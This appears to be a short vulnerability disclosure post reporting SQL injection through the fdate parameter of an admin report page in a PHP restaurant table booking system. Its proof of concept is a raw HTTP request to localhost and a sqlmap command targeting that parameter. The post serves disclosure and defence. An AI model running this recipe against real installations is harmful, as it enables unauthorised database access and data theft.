Restaurant Table Booking System SQL injection vulnerability

heishou
2 min readDec 22, 2023

--

Vulnerability submitted by:
heishou
Affected Version: 1.0
Manufacturer:
https://phpgurukul.com
Vulnerability Description:
Restaurant table reservation system V1.0 is vulnerable to SQL injection via fdate parameter in/rtbs/admin/bwdates-report-details.php
Source code download:
https://phpgurukul.com/restaurant-table-booking-system-using-php-and-mysql

code analysis

Unvalidated or filtered user input $fdate was used when constructing SQL query statements. An attacker could inject malicious SQL code into the search field to perform unauthorized database operations.

POC

POST /Restaurant-Table-Booking-System-PHP/rtbs/admin/bwdates-report-details.php HTTP/1.1
Host: localhost
Content-Length: 41
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/Restaurant-Table-Booking-System-PHP/rtbs/admin/bw-dates-report.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: USER_NAME_COOKIE=admin; SID_1=aa141d36; mailpoet_page_view=%7B%22timestamp%22%3A1694409700%7D; mailpoet_subscriber=%7B%22subscriber_id%22%3A2%7D; PHPSESSID=s0bvvd381g2h7nkjbr1sllm2j8
Connection: close

fdate=2023-12-21&tdate=2023-12-01&submit=

Sqlmap:

python sqlmap.py -r “C:\Python27\1.txt” -p fdate -level 1 -risk 1

--

--